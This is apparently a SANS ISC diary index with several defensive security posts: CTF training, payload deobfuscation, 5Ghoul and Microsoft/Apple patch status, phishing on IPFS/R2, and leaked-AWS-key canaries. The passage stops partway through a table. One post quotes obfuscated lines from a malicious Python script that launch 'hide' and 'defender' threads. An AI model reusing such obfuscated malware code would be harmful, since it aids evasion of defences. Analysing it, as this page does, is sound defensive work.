Diaries

Published: 2024-03-17

Gamified Learning: Using Capture the Flag Challenges to Supplement Cybersecurity Training [Guest Diary]

[This is a Guest Diary by Joshua Woodward, an ISC intern as part of the SANS.edu BACS program]

Just listening to a lecture is boring. Is there a better way?

I recently had the opportunity to engage in conversation with Jonathan, a lead analyst at Rapid7, where our discussion led to the internal technical training that he gives to their new analysts. He saw a notable ineffectiveness in the training sessions and was "dissatisfied with the new analysts' ability to remember and apply the knowledge when it was time to use it." The new analysts struggled to recall and apply the knowledge from the classroom training and often "had to be retaught live," resulting in inefficiencies and frustration. After reflecting on the root cause of this issue, Jonathan suspected that the traditional approach to learning, such as classroom lectures and workshops, was at the heart of the problem. These more passive learning approaches failed to engage the participants, leading to disinterest in the training and lower knowledge retention. Drawing inspiration from a method that was effective for him, Jonathan decided to adopt a more active and engaging approach: Capture the Flag (CTF) competitions.

Capture the Flag (CTF) Competitions

Capture the Flag competitions can offer exposure to a wide range of cybersecurity concepts or drill into a particular skill set through carefully crafted puzzles. CTFs foster an active learning environment by encouraging participants to apply their critical thinking skills and knowledge in a practical context. The gamified nature of CTFs leads to more excitement and motivation to participate, and active engagement and problem-solving allows a deeper understanding and retention of cybersecurity concepts.

Considerations

Traditional training excels at comprehensively covering topics in a structured matter, while CTFs offer a better environment to apply skills practically and can be built to mimic real-world scenarios. However, the nature of CTFs may not be suitable for teaching specific skills in a predetermined manner, as participants may creatively approach challenges from various angles. Participants will only learn what is needed to solve the challenge. Carefully crafted challenges can offset this disadvantage to some extent, but they may not fully address this drawback. Despite the limitations, CTFs shine at getting participants to retain knowledge because they foster active learning. Participants are effectively teaching themselves in a hands-on manner that will help them remember and gain experience in the topic.

How puzzles are designed greatly influences the effectiveness of CTFs. Developing good challenges is a very time-consuming process. A senior analyst can teach a lecture in an ad-hoc matter, but all CTFs require a large preparation time. Jonathan mentioned that there are "a lot of competing requirements that are hard to balance" when designing a new challenge. The puzzle must be balanced and give participants a good starting point and prompt to prevent a knowledge blockade or feel overwhelming, but it still must be challenging and teach a specific skill set. Jonathan stated that when designing a challenge to target specific knowledge, a common trap is that it can easily start feeling like a trivia game rather than something fun, and "then you just have a quiz rather than a CTF." Well-designed challenges are the make-or-break linchpin for the successful implementation of CTFs in technical training.

Effectiveness

After introducing CTFs into his training plan, Jonathan noted that he witnessed a significant improvement in the analysts' ability to recall and apply the new knowledge. Being able to use the skills practically in an engaging and rewarding context seemed to give the participants a deeper understanding of the concepts and how to employ them when problem-solving.

I was able to interview an individual who had taken both types of training methods, and they noted that "CTF challenges were far more enjoyable and memorable" when compared to their original training. In terms of retaining and applying learning objectives, they found "CTF challenges to be significantly more effective." They were able to remember bits and pieces better from the CTF than from classroom training, which allowed them to have a starting place to research when solving situations in their work.

Jonathan comments that debating why the traditional classroom training failed is a discussion unto itself and has merit in researching it further. However, he did ultimately find that CTFs provided a workable alternative that helped fix the retention issue he was facing.

Integrating Capture the Flag challenges into internal training can give tangible improvements to participants' ability to retain and apply the knowledge being covered in training sessions. Combining CTFs with traditional training methods can help cover the drawbacks of either methodology at the cost of more preparation time.

--
* This article was written with the assistance of AI tools, including ChatGPT.
* Permission has been given by the interviewed sources to use their names and answers in this article. Full names have been redacted for privacy.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2024-03-16

Obfuscated Hexadecimal Payload

This PE file contains an obfuscated hexadecimal-encoded payload. When I analyze it with base64dump.py searching for all supported encodings, a very long payload is detected:

It's 2834443 characters long, and matches base85 encoding (b85), but this is likely a false positive, as base85 uses 85 unique characters (as its name suggests), but in this particular encoded content, only 23 unique characters are used (out of 85).

Analyzing the PE file with my strings.py tool (calculating statistics with option -a) reveals it does indeed contain one very long string:

Verbose mode (-V) gives statistics for the 10 longests strings. We see that 2 characters (# and %) appear very often in this string, more than 75% of this long string is made up of these 2 characters:

These 2 characters are likely inserted for obfuscation. Let's use base64dump.py and let it ignore these 2 characters (-i #%"):

Now we have a hex encoded payload that decodes to a PE file (MZ), and most likely a Cobalt Strike beacon (MZARUH).

 

 

Didier Stevens
Senior handler
blog.DidierStevens.com

0 Comments

Published: 2024-03-15

5Ghoul Revisited: Three Months Later

About three months ago, I wrote about the implications and impacts of 5Ghoul in a previous diary [1]. The 5Ghoul family of vulnerabilities could cause User Equipment (UEs) to be continuously exploited (e.g. dropping/freezing connections, which would require manual rebooting or downgrading a 5G connection to 4G) once they are connected to the malicious 5Ghoul gNodeB (gNB, or known as the base station in traditional cellular networks). Given the potential complexities in the realm of 5G mobile network modems used in a multitude of devices (such as mobile devices and 5G-enabled environments such as Industrial Internet-of-Things and IP cameras), I chose to give the situation a bit more time before revisiting the 5Ghoul vulnerability.

Patch updates have been made concerning the various products listed in Table 1 [1]. However, older models tend not to receive security updates due to the end of security patch support. Additionally, some vendors do not publicly make their firmware patch information available, which poses a challenge when ascertaining if affected products were patched. The updated Table 1 below shows the current patch status as of the publication of this diary entry:

Table 1: Patch Status, Vulnerabilities and Firmware Version of Devices That Were Tested (*Qualcomm and MediaTek have already released security patches to the above-mentioned product vendors)
Vendor/Product
5G Modem
Type

Firmware/Software Version

CVE ID
Patch Status
Quectel RM500Q-GL
Qualcomm X55
USB Modem
Aug 03 2021

CVE-2023-33042

Unclear*

Simcom SIM8202G
Qualcomm X55
USB Modem
SIM8202G-M2_V1.2

CVE-2023-33042
CVE-2023-33043

Unclear*

Fibocom FM150-AE
Qualcomm X55
USB Modem
89602.1000.00.04.07.20

CVE-2023-33042
CVE-2023-33044

Unclear*

Telit FT980m
Qualcomm X55
USB Modem

38.23.001-B001-P0H.000640

CVE-2023-33042
CVE-2023-33043
CVE-2023-33044

Unclear*

OnePlus Nord CE 2 5G
MediaTek Dimensity 900 5G
Smartphone

M_V3_P10

CVE-2023-20702
CVE-2023-32841
CVE-2023-32842
CVE-2023-32843
CVE-2023-32844
CVE-2023-32845
CVE-2023-32846

CVE-2023-20702 fixed*

Xiaomi Redmi K40
MediaTek Dimensity 1200 5G
Smartphone
MOLY.NR15.R3.TC8.PR2.SP.V2.1.P70

CVE-2023-20702
CVE-2023-32841
CVE-2023-32842
CVE-2023-32843
CVE-2023-32844
CVE-2023-32845
CVE-2023-32846

Unpatched*

Asus ROG Phone 5s

Qualcomm X60
Smartphone
M3.13.24.73-Anakin2

CVE-2023-33042
CVE-2023-33043
CVE-2023-33044

End of Support - no more patches available*

For modem devices such as Telit FT980m, Simcom SIM8202G, Fibocom FM150-AE and Quectel RM500Q-GL, their patch status is unclear as firmware patch information is not publicly available. I had tried to find out more about the devices that were tested, but it appears that there were few discussions with respect to 5Ghoul from the tested device brands. Quectel did have a query in their forums (sighted previously and visible from Google search results), but unfortunately, their website was down. Interestingly, Sierra Wireless (a company that had used the affected Qualcomm chipset) released a Security Advisory on their website, although their products were not used to evaluate 5Ghoul vulnerabilities [4].

As highlighted in the previous diary, all 5Ghoul vulnerabilities have had their patches released by Qualcomm/MediaTek [1]. The Android project has also implemented the fixes for the CVEs in the following order:

November 2023: MediaTek fix for CVE-2023-20702 [5]

January 2024: Qualcomm fixes for CVE-2023-33043 and CVE-2023-33044 [6]

February 2024: MediaTek fixes CVE-2023-32842, CVE-2023-32841 and CVE-2023-32843 [7]

March 2024: Qualcomm fix for CVE-2023-33042 [8]

There is also interesting trivia about the CVEs being addressed. One might have noted that CVE-2023-32844, CVE-2023-32846 and CVE-2023-32845 were not listed. According to MediaTek and having sighted the correspondence between MediaTek and the 5Ghoul researchers, fixes for the three previously mentioned CVEs were addressed altogether in CVE-2023-32841.

Unfortunately, it appears that the most significant delay and uncertainties lie with the vendors who have yet to implement the fixes released by MediaTek and Qualcomm. Although the Android project has had all the patches nailed down (which means Google Pixel phones that are still being supported would get the fixes first), the fragmented ecosystem of various Android phone brand models could add time for patches to be implemented. Some older device models also no longer receive updates, so it is safe to presume they would be susceptible to 5Ghoul attacks. These attacks have yet to be widely prevalent, but they will surely be annoying if one gets targeted. If you are using a mobile device that will no longer have any security updates, consider whether one can accept the inconveniences of being affected by 5Ghoul attacks (note that proof-of-concept code is available [9]). In the context of organizations that depend heavily on 5G communications (such as the Industrial Internet of Things) and are using hardware listed in Table 1 or the vulnerable 5G modems that had been identified, it is highly recommended that the business owners evaluate the risks and impact of disruptions caused by 5Ghoul and the relevant mitigations that can be adopted.

References:
[1] https://isc.sans.edu/diary/30462
[2] https://community.oneplus.com/thread/1514600069267980292
[3] https://miuirom.org/phones/redmi-k40
[4] https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin---swi-psa-2024-001/
[5] https://source.android.com/docs/security/bulletin/2023-11-01
[6] https://source.android.com/docs/security/bulletin/2024-01-01
[7] https://source.android.com/docs/security/bulletin/2024-02-01
[8] https://source.android.com/docs/security/bulletin/2024-03-01
[9] https://github.com/asset-group/5ghoul-5g-nr-attacks

-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter

0 Comments

Published: 2024-03-14

Increase in the number of phishing messages pointing to IPFS and to R2 buckets

Credential-stealing phishing is constantly evolving, nevertheless, some aspects of it – by necessity – stay the same. One thing, which is constant, is the need for a credential gathering mechanism, and although threat actors have come up with a number of alternatives to simply hosting a fake login page somewhere (e.g., using a third-party “forms” service[1] or attaching an entire phishing page to an e-mail[2]), the old approach of placing a phishing page on an internet-connected server and linking to it from e-mail messages is commonly used to this day.

Still, even when it comes to this kind of phishing, interesting trends do emerge from time to time. One such recent trend seems to be connected with an increased use of IPFS and R2 buckets to host phishing pages.

IPFS, or the InterPlanetary File System is Web3 storage system – a distributed, peer-to-peer data sharing network, originally conceived back in 2015[3] – which has been used by threat actors to host malicious content since at least 2022[4,5,6]. The R2 is a Cloudflare object storage service[7], which enables owners of buckets to expose their content publicly on the r2.dev domain[8]. The service was rolled out by Cloudflare in 2022 and threat actors started to use it to host malicious files the same year[9].

Although the use of IPFS and R2 buckets to host phishing pages is therefore nothing new, I did notice a significant increase in the number of new phishing campaigns that used these hosting options starting around the middle of February… You can see this increase in the following chart.

Since the beginning of February, messages from 84 previously unobserved phishing campaigns were caught by my spam traps. Over half of these linked to pages hosted on IPFS or in R2 buckets (38.1% and 13.1% respectively). And although data from my few spam traps can hardly be considered representative for the internet as a whole, changes visible in the chart seem to point to at least some deviation from the usual state of affairs…

It should be noted that the chart above shows only newly observed campaigns, not the volume of messages associated with them. Since for some campaigns, multiple messages were caught by the spam traps, when it came to overall amount of phishing, the use of IPFS and R2 was even more pronounced – 52.9% of all messages linked to IPFS and 16.9% linked to R2 buckets.

All the messages alluded to were run-of-the-mill phishing, as the example bellow shows, and as such, were most likely easily identified by most e-mail filters out there…

Any potential increase in the number of these messages/increase in the use of IPFS and R2 should therefore hardly present a meaningful threat to most organizations. Nevertheless, since content currently hosted on IPFS has minimal (if any) business relevance for most organizations, and most content hosted on the r2.dev domain will probably have limited business relevance as well, it might be worthwhile to consider limiting user access to IPFS and R2 content in any organizational setting (e.g., through DNS or URL filtering).

In the case of Cloudflare’s buckets, this would be quite straightforward (i.e., blocking access to *.r2.dev), however in case of IPFS – due to its distributed nature – this would be somewhat more challenging… That is, if it were not for the fact that from the regular web, IPFS may only be accessed through a small number of specialized gateways operating on known domains, which can easily be blocked[10].

Although limiting access to R2 and IPFS in this way would only be a minor addition to any security program, given how long threat actors have been using both of these services, it might at least be worth considering. Most phishing messages that point to these services will undoubtedly be stopped by automatic security solutions, however if one does get through and its recipient has a “brain freeze” at the same time, it may save an organization a small headache associated with stolen credentials…

For IPFS, blocking access outright should have no negative impact, however for R2 buckets, it would probably be worth checking on whether they are being used for anything business-relevant first.

[1] https://www.tripwire.com/state-of-security/google-forms-used-call-back-phishing-scam
[2] https://isc.sans.edu/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580
[3] https://en.wikipedia.org/wiki/InterPlanetary_File_System
[4] https://www.theregister.com/2022/07/29/ipfs_phishing_trustwave/
[5] https://www.trendmicro.com/en_us/research/22/l/web3-ipfs-only-used-for-phishing---so-far.html
[6] https://isc.sans.edu/forums/diary/IPFS+phishing+and+the+need+for+correctly+set+HTTP+security+headers/29638/
[7] https://developers.cloudflare.com/r2/
[8] https://developers.cloudflare.com/r2/buckets/public-buckets/
[9] https://www.netskope.com/blog/evasive-phishing-campaign-steals-cloud-credentials-using-cloudflare-r2-and-turnstile
[10] https://github.com/ipfs/public-gateway-checker/blob/main/gateways.json

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

0 Comments

Published: 2024-03-13

Using ChatGPT to Deobfuscate Malicious Scripts

Today, most of the malicious scripts in the wild are heavily obfuscated. Obfuscation is key to slow down the security analyst's job and to bypass simple security controls. They are many techniques available. Most of the time, your trained eyes can spot them in a few seconds but it remains a pain to process manually. How to handle them? For soe of them, you have tools like numbers-to-strings.py[1], developed by Didier, to convert classic encodings back to strings. Sometimes, you can write your own script (time consuming) or use a Cyberchef recipe. To speed up the analysis, why not ask some help to AI tools? Let's see a practical example with ChatGPT.

Yesterday, I found a malicious Python script (SHA256:b31d0148ab14678600dbdfb86183831431872de738f21032e51339c31f83d743) with a low VirusTotal score of 2/61[2]. When I had a look at it, it was obfuscated with the following techniques. All interesting strings were hex-encode, compressed and Base64-encoded:

if config.get(__import__('base64').b64decode(__import__('zlib').decompress(b'x\xda\x0b5\n+\x8e\xca\xb1\xccO\x0c\x0f\xca\x01\x00\x1as\x045')).decode()):
    Thread(target=self.hide).start()
if config.get(__import__('base64').b64decode(__import__('zlib').decompress(b'x\xda\x0br\xcf\xa9\x8a\x0c\xf7*\x8e\n\xb3\xcc\x8e\n\x8f\xcaI\xca\r\xcaIN\xb7\xb5\x05\x00k\xba\x08\x89')).decode()):
    Thread(target=self.defender).start()

First of all, it's not readable in the code above but some strings were in UTF-16:

There was a huge amount of obfuscated strings (443 in total). Let's try tro process them with ChatGPT:

The request took a few seconds to get some feedback but results were perfect (I only submitted a small part of the script)

Of course, you could use the API to automate this process! In the mean time, I'm also playing with ChatGPT within Ghidra to help understanding disassembled code. More to come!

[1] https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py
[2] https://www.virustotal.com/gui/file/b31d0148ab14678600dbdfb86183831431872de738f21032e51339c31f83d743

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 Comments

Published: 2024-03-12

Microsoft Patch Tuesday - March 2024

This month's patches are oddly "light". We have patches for 60 vulnerabilities and 4 Chromium patches affecting Microsoft Edge. But only two of the vulnerabilities are rated as "Critical":

CVE-2024-21408: Windows Hyper-V Denial of Service Vulnerability
CVE-2024-21407: Windows Hyper-V Remote Code Execution Vulnerability

Oddly, Microsoft considers a DoS vulnerability "critical". However, a DoS against Hyper-V could have a significant impact, which may justify the rating. The code execution vulnerability justifies a rating of critical. However, exploitation requires an attacker to first gain a foothold inside a virtual machine.

Other vulnerabilities of interest:

CVE-2024-26198: A remote code execution vulnerability for Exchange Server. This is a DLL loading issue that is typically more difficult to exploit. Authentication is required to exploit the vulnerability.

Overall, this Patch Tuesday doesn't look too bad. Follow your normal patch management process. There is no need to get all worked up; tomorrow morning: Have some coffee, test... and later deploy once the tests are completed successfully.

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET and Visual Studio Denial of Service Vulnerability
%%cve:2024-21392%% No No - - Important 7.5 6.7
Azure Data Studio Elevation of Privilege Vulnerability
%%cve:2024-26203%% No No - - Important 7.3 7.0
Azure SDK Spoofing Vulnerability
%%cve:2024-21421%% No No - - Important 7.5 6.5
Chromium: CVE-2024-2173 Out of bounds memory access in V8
%%cve:2024-2173%% No No - - -    
Chromium: CVE-2024-2174 Inappropriate implementation in V8
%%cve:2024-2174%% No No - - -    
Chromium: CVE-2024-2176 Use after free in FedCM
%%cve:2024-2176%% No No - - -    
Hypervisor-Protected Code Integrity (HVCI) Security Feature Bypass Vulnerability
%%cve:2024-21431%% No No - - Important 7.8 6.8
Intel: CVE-2023-28746 Register File Data Sampling (RFDS)
%%cve:2023-28746%% No No - - Important    
Microsoft AllJoyn API Denial of Service Vulnerability
%%cve:2024-21438%% No No - - Important 7.5 6.5
Microsoft Authenticator Elevation of Privilege Vulnerability
%%cve:2024-21390%% No No - - Important 7.1 6.2
Microsoft Azure Kubernetes Service Confidential Container Elevation of Privilege Vulnerability
%%cve:2024-21400%% No No - - Important 9.0 8.1
Microsoft Defender Security Feature Bypass Vulnerability
%%cve:2024-20671%% No No - - Important 5.5 4.8
Microsoft Django Backend for SQL Server Remote Code Execution Vulnerability
%%cve:2024-26164%% No No - - Important 8.8 7.7
Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability
%%cve:2024-21419%% No No - - Important 7.6 6.6
Microsoft Edge for Android Spoofing Vulnerability
%%cve:2024-26167%% No No Less Likely Less Likely - 4.3 3.8
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2024-26198%% No No - - Important 8.8 7.7
Microsoft Intune Linux Agent Elevation of Privilege Vulnerability
%%cve:2024-26201%% No No - - Important 6.6 5.9
Microsoft ODBC Driver Remote Code Execution Vulnerability
%%cve:2024-21451%% No No - - Important 8.8 7.7
%%cve:2024-26159%% No No - - Important 8.8 7.7
%%cve:2024-21440%% No No - - Important 8.8 7.7
%%cve:2024-26162%% No No - - Important 8.8 7.7
Microsoft Office Elevation of Privilege Vulnerability
%%cve:2024-26199%% No No - - Important 7.8 6.8
Microsoft QUIC Denial of Service Vulnerability
%%cve:2024-26190%% No No - - Important 7.5 6.5
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2024-21426%% No No - - Important 7.8 6.8
Microsoft Teams for Android Information Disclosure Vulnerability
%%cve:2024-21448%% No No - - Important 5.0 4.4
Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability
%%cve:2024-21441%% No No - - Important 8.8 7.7
%%cve:2024-21444%% No No - - Important 8.8 7.7
%%cve:2024-21450%% No No - - Important 8.8 7.7
%%cve:2024-26161%% No No - - Important 8.8 7.7
%%cve:2024-26166%% No No - - Important 8.8 7.7
Microsoft Windows SCSI Class System File Elevation of Privilege Vulnerability
%%cve:2024-21434%% No No - - Important 7.8 6.8
NTFS Elevation of Privilege Vulnerability
%%cve:2024-21446%% No No - - Important 7.8 6.8
Open Management Infrastructure (OMI) Elevation of Privilege Vulnerability
%%cve:2024-21330%% No No - - Important 7.8 7.0
Open Management Infrastructure (OMI) Remote Code Execution Vulnerability
%%cve:2024-21334%% No No - - Important 9.8 8.5
Outlook for Android Information Disclosure Vulnerability
%%cve:2024-26204%% No No - - Important 7.5 6.5
Skype for Consumer Remote Code Execution Vulnerability
%%cve:2024-21411%% No No - - Important 8.8 7.7
Software for Open Networking in the Cloud (SONiC) Elevation of Privilege Vulnerability
%%cve:2024-21418%% No No - - Important 7.8 6.8
Visual Studio Code Elevation of Privilege Vulnerability
%%cve:2024-26165%% No No - - Important 8.8 7.7
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2024-26160%% No No - - Important 5.5 4.8
Windows Composite Image File System (CimFS) Elevation of Privilege Vulnerability
%%cve:2024-26170%% No No - - Important 7.8 6.8
Windows Compressed Folder Tampering Vulnerability
%%cve:2024-26185%% No No - - Important 6.5 5.7
Windows Error Reporting Service Elevation of Privilege Vulnerability
%%cve:2024-26169%% No No - - Important 7.8 6.8
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2024-21437%% No No - - Important 7.8 6.8
Windows Hyper-V Denial of Service Vulnerability
%%cve:2024-21408%% No No - - Critical 5.5 4.8
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2024-21407%% No No - - Critical 8.1 7.1
Windows Installer Elevation of Privilege Vulnerability
%%cve:2024-21436%% No No - - Important 7.8 6.8
Windows Kerberos Security Feature Bypass Vulnerability
%%cve:2024-21427%% No No - - Important 7.5 6.5
Windows Kernel Denial of Service Vulnerability
%%cve:2024-26181%% No No - - Important 5.5 4.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2024-21443%% No No - - Important 7.3 6.4
%%cve:2024-26173%% No No - - Important 7.8 6.8
%%cve:2024-26176%% No No - - Important 7.8 6.8
%%cve:2024-26178%% No No - - Important 7.8 6.8
%%cve:2024-26182%% No No - - Important 7.8 6.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2024-26174%% No No - - Important 5.5 4.8
%%cve:2024-26177%% No No - - Important 5.5 4.8
Windows OLE Remote Code Execution Vulnerability
%%cve:2024-21435%% No No - - Important 8.8 7.7
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2024-21433%% No No - - Important 7.0 6.1
Windows Standards-Based Storage Management Service Denial of Service Vulnerability
%%cve:2024-26197%% No No - - Important 6.5 5.7
Windows Telephony Server Elevation of Privilege Vulnerability
%%cve:2024-21439%% No No - - Important 7.0 6.1
Windows USB Attached SCSI (UAS) Protocol Remote Code Execution Vulnerability
%%cve:2024-21430%% No No - - Important 5.7 5.1
Windows USB Hub Driver Remote Code Execution Vulnerability
%%cve:2024-21429%% No No - - Important 6.8 5.9
Windows USB Print Driver Elevation of Privilege Vulnerability
%%cve:2024-21442%% No No - - Important 7.8 6.8
%%cve:2024-21445%% No No - - Important 7.0 6.1
Windows Update Stack Elevation of Privilege Vulnerability
%%cve:2024-21432%% No No - - Important 7.0 6.1

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-10

What happens when you accidentally leak your AWS API keys? [Guest Diary]

[This is a Guest Diary by Noah Pack, an ISC intern as part of the SANS.edu BACS program]

As a college freshman taking my first computer science class, I wanted to create a personal project that would test my abilities and maybe have some sort of return. I saw a video online of someone who created a python script that emailed colleges asking for free swag to be shipped to him. I liked the idea and adapted it. I created a script that emailed companies and asked for free swag, knowing that most conferences that year had been canceled due to the COVID-19 pandemic. I wrote my script, made a new email account for the script to use, created a list of ten companies it would email, and it worked flawlessly. To celebrate my achievement, I uploaded my code to GitHub. The next thing I knew, I was getting login attempts to the email address I set up for my script to use. I had hardcoded the email address and password into my code, and my computer science class didn’t teach us safe programming practices.

My situation had no ill consequences, but it could have if I had used my actual email for the script or if my project was bigger and I had used AWS or another cloud provider and hardcoded those credentials. In a later class I did learn how to safely pass credentials to my scripts without fear of leaking them on GitHub, but leaked credentials remained on my mind. This led me to the question “What happens when you leak your AWS API keys?”
In this article, I will share some research, resources, and real-world data related to leaked AWS API keys. I won’t get into scenarios where credentials are stored properly but stolen via a vulnerability, only where a developer or other AWS user hardcodes their credentials into a GitHub repository or a website.

Canary Tokens 

To collect data, I used Canary Tokens. Canary Tokens are honeypots that, when opened or used, send an alert to their owner informing them of a breach. Canary Tokens can be a word document, QR code, AWS API key, or many other file types to suit various needs. The AWS API key token is a file that looks like this:

(This is an actual Canary Token)

It looks exactly the same as how a developer would store this information and contains everything needed to make a successful connection to the AWS API. Nothing beyond that works to prevent an attacker from actually abusing these keys. 

I left a Canary Token on a decently trafficked e-commerce website I help maintain, hardcoded into the website’s source. I also posted one on my GitHub account in an obvious repository with a name that any researcher would recognize as a test.  

All the Canary Tokens I created were used.

Research

The token I added to the source code of a website took three days before an attacker tested it, generating this alert:

The traffic came from a Proton VPN user. It is likely that they were using a crawler to scan websites for credentials or vulnerabilities but could have been testing the collected credentials manually. This was the only time this canary was tested. Because the person who tested it was using a VPN, it would be nearly impossible to find exactly where this attacker is from. The IP used to test this key has been seen doing other attacks, but because of the anonymity associated with a shared VPN IP address, it would not be possible to tie this to any other reported incidents involving this IP.

The user-agent information that the Canary Token includes is very interesting. We know that the attacker is using a Python script to check if the credentials are valid with the Boto3 library. We also know the script is running on the Windows Subsystem for Linux. This information helped me to create a script [2] that tests AWS API keys to see if they are valid.

My data is not large enough to say definitively that if you hardcode credentials into your decently trafficked e-commerce website you will have a couple days to fix them before they are used. In this case too, a crawler may have picked up the keys much earlier, and they were not tested until days later. 

The AWS API keys I posted to GitHub were tested much sooner. Within minutes, I was receiving email alerts like the one pictured below:

I soon became overwhelmed with alerts and turned them off to preserve my email inbox. The interesting difference with these attempts to use my canary was that they were almost all coming from what turned out to be one company. 

Clearly, if you post your AWS credentials, they will be picked up and used by someone, whether it is a security company, researcher, or attacker. So, what can you do to resolve this problem if you find yourself in it? The first thing you should do is generate new AWS API keys and deactivate the ones you leaked. There is no way to undo posting credentials when things like the wayback machine exist. The best solution is to prevent this from happening in the first place.

Luckily, there are tools like GitGuardian [3], GitLeaks, TruffleHog [4], and RepoSupervisor that can be integrated into your Continuous Integration and Continuous Deployment (CICD) pipeline and scan for hardcoded credentials before the code goes into production. Some of those tools require subscriptions, like GitGuardian, while others, like truffleHog, are free and open source. I created a script that can verify if an AWS API key works; you can find it at the end of this article in my GitHub account. My reasoning for creating my own script was that many of these tools include features that would not be useful if your goal is only to verify whether the keys work, while some tools that can do this are made for exploiting that access. I wanted to create a simple script that anyone in IT could look at and understand so QA, junior developers, interns, and new analysts who find an AWS API key can quickly verify it without putting it into a tool they do not fully understand. 

Why does this matter?

Hardcoding credentials happen more often than you might think. There are lots of new developers, and in my experience, secure coding practices are not taught to university students until the upper-level classes. Even then, experienced developers make mistakes, unintended files get committed, and code left in place to test can sometimes make its way to production. There is a reason that entire companies exist to scan for these credentials. 

Conclusion

If you are writing code, do your best not to hardcode credentials; someone will find them. The allure of free swag may distract you, but remediation is more time-consuming than doing it the right way in the first place. Implementing tools in your CICD pipeline to scan for these mistakes is a great preventative measure, but it is not perfect. Use IAM permissions in AWS to limit each API key to only the permissions it needs.

[1] Canary Tokens: https://docs.canarytokens.org/guide/
[2] My Script: https://github.com/npackt/Simple-AWS-API-Key-tester
[3] Git guardian: https://www.gitguardian.com/
[4] TruffleHog: https://trufflesecurity.com/trufflehog
[5] More on AWS API keys: https://aws.amazon.com/what-is/api-key/
[6] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2024-03-08

MacOS Patches (and Safari, TVOS, VisionOS, WatchOS)

 

After patching iOS and iPadOS a few days ago, Apple patched the rest of its lineup today, most notably macOS. These updates include the two 0-days patched for iOS. Interestingly, we also see three vulnerabilities addressed specifically for VisionOS, Apple's latest operating system. One of the VisionOS vulnerabilities affects Personas, a feature only available in VisionOS.

NOTE: Apple amended its list of vulnerabilities for iOS/iPadOS. Many of the vulnerabilities below also affect iOS. The initial release only noted four different vulnerabilities.

Apple security bulletin URL: https://support.apple.com/en-us/HT201222

Safari 17.4 macOS Sonoma 14.4 macOS Ventura 13.6.5 macOS Monterey 12.7.4 watchOS 10.4 tvOS 17.4 visionOS 1.1
CVE-2024-23273 [moderate] Safari Private Browsing
This issue was addressed through improved state management.
Private Browsing tabs may be accessed without authentication
x x          
CVE-2024-23252 [moderate] WebKit
The issue was addressed with improved memory handling.
Processing web content may lead to a denial-of-service
x x          
CVE-2024-23254 [moderate] WebKit
The issue was addressed with improved UI handling.
A malicious website may exfiltrate audio data cross-origin
x x     x x x
CVE-2024-23263 [other] WebKit
A logic issue was addressed with improved validation.
Processing maliciously crafted web content may prevent Content Security Policy from being enforced
x x     x x x
CVE-2024-23280 [moderate] WebKit
An injection issue was addressed with improved validation.
A maliciously crafted webpage may be able to fingerprint the user
x x     x x  
CVE-2024-23284 [other] WebKit
A logic issue was addressed with improved state management.
Processing maliciously crafted web content may prevent Content Security Policy from being enforced
x x     x x x
CVE-2024-23291 [moderate] Accessibility
A privacy issue was addressed with improved private data redaction for log entries.
A malicious app may be able to observe user data in log entries related to accessibility notifications
  x     x x  
CVE-2024-23276 [moderate] Admin Framework
A logic issue was addressed with improved checks.
An app may be able to elevate privileges
  x x x      
CVE-2024-23227 [important] Airport
This issue was addressed with improved redaction of sensitive information.
An app may be able to read sensitive location information
  x x x      
CVE-2024-23233 [moderate] AppleMobileFileIntegrity
This issue was addressed with improved checks.
Entitlements and privacy permissions granted to this app may be used by a malicious app
  x          
CVE-2024-23269 [important] AppleMobileFileIntegrity
A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions.
An app may be able to modify protected parts of the file system
  x x x      
CVE-2024-23288 [moderate] AppleMobileFileIntegrity
This issue was addressed by removing the vulnerable code.
An app may be able to elevate privileges
  x     x x  
CVE-2024-23277 [moderate] Bluetooth
The issue was addressed with improved checks.
An attacker in a privileged network position may be able to inject keystrokes by spoofing a keyboard
  x          
CVE-2024-23247 [moderate] ColorSync
The issue was addressed with improved memory handling.
Processing a file may lead to unexpected app termination or arbitrary code execution
  x x x      
CVE-2024-23248 [moderate] ColorSync
The issue was addressed with improved memory handling.
Processing a file may lead to a denial-of-service or potentially disclose memory contents
  x          
CVE-2024-23249 [moderate] ColorSync
The issue was addressed with improved memory handling.
Processing a file may lead to a denial-of-service or potentially disclose memory contents
  x          
CVE-2024-23250 [moderate] CoreBluetooth - LE
An access issue was addressed with improved access restrictions.
An app may be able to access Bluetooth-connected microphones without user permission
  x     x x  
CVE-2024-23244 [moderate] Dock
A logic issue was addressed with improved restrictions.
An app from a standard user account may be able to escalate privilege after admin user login
  x x x      
CVE-2024-23205 [moderate] ExtensionKit
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to access sensitive user data
  x          
CVE-2022-48554 [moderate] file
This issue was addressed with improved checks.
Processing a file may lead to a denial-of-service or potentially disclose memory contents
  x     x x  
CVE-2024-23253 [moderate] Image Capture
A permissions issue was addressed with additional restrictions.
An app may be able to access a user's Photos Library
  x          
CVE-2024-23270 [important] Image Processing
The issue was addressed with improved memory handling.
